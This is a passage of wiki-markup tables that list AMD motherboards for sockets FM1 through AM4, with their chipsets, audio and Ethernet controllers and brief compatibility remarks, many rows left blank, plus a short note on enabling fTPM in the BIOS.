| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket FM1 (2011/13)=====

On board Graphic on CPU - HD6410D, HD6530D, HD6550D, 

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;ASUS F1A55-M LE 
| &lt;!--Chipset--&gt;  with AMD A55 FCH (Hudson D2)
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;6 x SATA 3Gbit/s port(s), blue Support Raid 0, 1, 10, JBOD 
| &lt;!--Gfx--&gt;PCI-e 2.0 slot or Integrated AMD Radeon™ HD 6000 in Llano APU 
| &lt;!--Audio--&gt;Realtek® ALC887 Audio CODEC  
| &lt;!--USB--&gt;6 USB2.0 ports
| &lt;!--Ethernet--&gt;Realtek 8111E rtl8169 
| &lt;!--Opinion--&gt;2012 2011 64bit does not support AVX or SSE 4.1 - A-Series/E2- Series APUs up to 4 cores - 2 x DIMM, Max. 32GB, DDR3 2250(O.C.)/1866/1600/1333/1066 MHz Non-ECC, Un-buffered Memory Dual Channel Memory Architecture  - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket FM2 White Socket (2012/13)=====

Onboard Gfx on CPU - HD6570, HD7480D, HD7540D, 

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;A75 A85X 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2012 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket FM2 Plus Black socket (2013/15)=====

Onboard Gfx on CPU - HD6570, HD7480D, HD7540D, 

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;A88X 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket AM1 FS1b socket (2014/1x)=====

5350 4 core Jaguar cores 2GHz with Integrated AMD Radeon R Series Graphics in the APU Kabini [Radeon HD 8400] 

Later Beema APU with 2/4 core Puma (slightly updated Jaguar) cores, GCN graphics and a compute capable Radeon core, along with a brand new AMD security processor and FT3 BGA packaging (probably best avoided for long term survival).

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;ASUS AM1I-A 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HD Audio Realtek® ALC887-VD 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8111GR 8168 
| &lt;!--Opinion--&gt;2011 64bit may support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;MSI AM1I 
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HD Audio ALC887
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8111G
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI AM1M 
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HD Audio ALC887
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8111G
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;BGA FT3 AM1x 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket AM4 FM3 Summit Ridge Zen Zen+ (2016/22)=====

Jim Keller’s group designed x86 Zen CPU - new and covering the same AM4 platform/socket for desktop 

Zen will also shift from Bulldozer’s Clustered Multithreading (CMT) to Simultaneous Multithreading (SMT, aka Intel’s Hyperthreading). CMT is the basis for Bulldozer’s unusual combination of multiple integer cores sharing a single FPU within a module, so the move to SMT is a more “traditional” design for improving resource usage

Trusted Platform Module, or fTPM, that Windows 11 requires. Ryzen processors using a firmware TPM are causing stutters, even when doing mundane tasks. To enable TPM 2.0 on your AMD system please follow the steps below.
&lt;pre&gt;
    Power on system and press DEL or F2 to get into the BIOS.
    Navigate to Advanced\CPU Configuration.
    Enable AMD fTPM switch.
    Press F10 to save changes.
&lt;/pre&gt;

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Asus ROG Crosshair VI Hero 
| &lt;!--Chipset--&gt;X370 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 3.0 (1x16 or 2x8) 
| &lt;!--Audio--&gt;SupremeFX audio features an S1220 codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Intel I211 
| &lt;!--Opinion--&gt;Ryzen 7 1800X 1700X 
|-
| &lt;!--Name--&gt;Biostar X370gtn Itx Am4
| &lt;!--Chipset--&gt;AMD X370 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;HDAudio with ALC892 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek Dragon LAN RTL8118AS 
| &lt;!--Opinion--&gt;  2 ddr4 slots 
|-
| &lt;!--Name--&gt;Gigabyte GA-AX370 K7 
| &lt;!--Chipset--&gt; X370 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;HDAudio with 2 x Realtek® ALC1220 codec 0x10EC, 0x0295
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;1 intel and 1 E2500 
| &lt;!--Opinion--&gt;  4 ddr4 slots 
|-
| &lt;!--Name--&gt;MSI Xpower Gaming Titanium 
| &lt;!--Chipset--&gt; X370 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;8-channel Realtek 1220 Codec 0x10EC, 0x0295
| &lt;!--USB--&gt;ASMedia® ASM2142 and amd cpu 
| &lt;!--Ethernet--&gt;1 x Intel® I211AT Gigabit LAN 
| &lt;!--Opinion--&gt;  2 ddr4 slots 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus Prime B350 Plus ATX 
| &lt;!--Chipset--&gt;B350
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt; x PCIe 3.0/2.0 x16 (x16 mode) 
| &lt;!--Audio--&gt;Realtek® ALC887 8-Channel  
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek® RTL8111H
| &lt;!--Opinion--&gt;Ryzen 5 1600x 1600 1500X 1400 - 4 x DIMM Max 64GB, DDR4 up to 2666MHz ECC and non-ECC Memory - ATX 12 inch x 9.35 inch ( 30.5 cm x 23.7 cm )  - 2 pci 
|-
| &lt;!--Name--&gt;Asus PRIME B350M-A/CSM Micro ATX 
| &lt;!--Chipset--&gt;AMD B350
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;HDaudio with  
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek LAN 
| &lt;!--Opinion--&gt;Ryzen 3 1300x 1200 1100 
|-
| &lt;!--Name--&gt;AsRock Pro4 AB350 
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;2 PCIe 3.0 x16, 4 PCIe 2.0 x1 
| &lt;!--Audio--&gt;Realtek ALC892
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 
| &lt;!--Opinion--&gt;2017 64bit - 
|-
| &lt;!--Name--&gt;ASRock AB350 Gaming-ITX/ac
| &lt;!--Chipset--&gt; B350 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Intel LAN 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI B350 Tomahawk Arctic Mortar 
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;1 x PCIe 3.0 x16 (x16 mode) 
| &lt;!--Audio--&gt;Realtek ALC892 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek RTL8111H 
| &lt;!--Opinion--&gt;white and grey colours - 2 pci-e and 2 pci slots - m.2 in middle - atx 12 in by 9.6 in and matx versions - 
|-
| &lt;!--Name--&gt;Jginyue M-ATX B350M-TI 
| &lt;!--Chipset--&gt;B350
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Jginyue B350I-Plus ITX  
| &lt;!--Chipset--&gt;B350
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ASRock A320M-ITX MINI ITX Rev1.0 Rev2 Rev2.1 
| &lt;!--Chipset--&gt;A320 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2018 
|-
| &lt;!--Name--&gt;Asus PRIME A320M-C R2.0 rev1.1 A320M-K 
| &lt;!--Chipset--&gt;A320 A/B300 SFF 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;HD audio with Realtek ALC887 alc897 CODEC 
| &lt;!--USB--&gt;2 usb 3.1 gen 1 
| &lt;!--Ethernet--&gt;Realtek 8111E 
| &lt;!--Opinion--&gt;2019 64bit - 3rd/2nd/1st Gen AMD Ryzen™ / 2nd and 1st Gen AMD Ryzen™ with Radeon™ Vega 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI A320M-A PRO MicroATX 
| &lt;!--Chipset--&gt;AMD A320  
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;pci-e 3.0 
| &lt;!--Audio--&gt;HDAudio Realtek® ALC892 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;Realtek® 8111H
| &lt;!--Opinion--&gt;2019 64bit - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus ROG X399 Zenith Extreme  
| &lt;!--Chipset--&gt;AMD X399 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt; supremefx s1220 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;intel 
| &lt;!--Opinion--&gt;Threadripper 1950X 1920X 1900X TR4 skt 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;AsRock Fatality X470 Gaming K4 mATX 
| &lt;!--Chipset--&gt;X470 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;nvme 
| &lt;!--Gfx--&gt;pci-e rebar possible 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;intel 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asrock Fatal1ty X470 Gaming-ITXac AMD AM4
| &lt;!--Chipset--&gt;AMD X470 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;intel 
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;ASUS ROG STRIX X470-I GAMING AM4 ITX Motherboard
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus B450-I Gaming 
| &lt;!--Chipset--&gt;AMD B450 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;high VRM temps - raven ridge 14nm+ like 2200G 2400G 
|-
| &lt;!--Name--&gt;AsRock B450 Gaming K4 
| &lt;!--Chipset--&gt;B450
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt; alc892
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt; 4 ddr4 slots - low VRM thermals 3900x 3950x 
|-
| &lt;!--Name--&gt;Gigabyte B450 I Aorus Pro Wifi 
| &lt;!--Chipset--&gt;AMD B450 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 nvme pcie3 with 4 sata 
| &lt;!--Gfx--&gt;pcie
| &lt;!--Audio--&gt;HDAudio with Realtek® ALC1220-VB codec
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Intel LAN 
| &lt;!--Opinion--&gt;very high vrm temps 
|-
| &lt;!--Name--&gt;Jginyue B450i Gaming ITX 
| &lt;!--Chipset--&gt;B450 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata3 - none nvme 
| &lt;!--Gfx--&gt;pcie3 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;1G 
| &lt;!--Opinion--&gt;2021 64 2nd 3rd AMD - 2 ddr4 dimm slots 
|-
| &lt;!--Name--&gt;MSI b450 tomahawk max 
| &lt;!--Chipset--&gt; b450 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{n/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe 3.0 
| &lt;!--Audio--&gt;HD audio with Realtek® ALC892 Codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8111H 
| &lt;!--Opinion--&gt; 
|-
| &lt;!--Name--&gt;MSI B450 Pro Carbon 
| &lt;!--Chipset--&gt;B450  
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt; ALC codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Intel LAN 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI B450-A PRO
| &lt;!--Chipset--&gt;B450 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC892 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 8111h 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI B450I GAMING Plus AC ITX 
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2019 - 2nd and 3rd gen AMD - 2 ddr4 slots - 
|-
| &lt;!--Name--&gt;MSI B450 GAMING PLUS MAX 
| &lt;!--Chipset--&gt;B450 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HDAudio with Realtek® ALC892/ALC897 Codec 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;rtl8169 8111H 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MAXSUN AMD Challenger B450M M-ATX (aka Soyo) 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;ASRock X570 PHANTOM GAMING-ITX/TB3 Mini ITX AM4 
| &lt;!--Chipset--&gt;X570  
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;nvme 
| &lt;!--Gfx--&gt;PCIe 4.0 
| &lt;!--Audio--&gt;  ALC1200 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Intel LAN 
| &lt;!--Comments--&gt;
|-
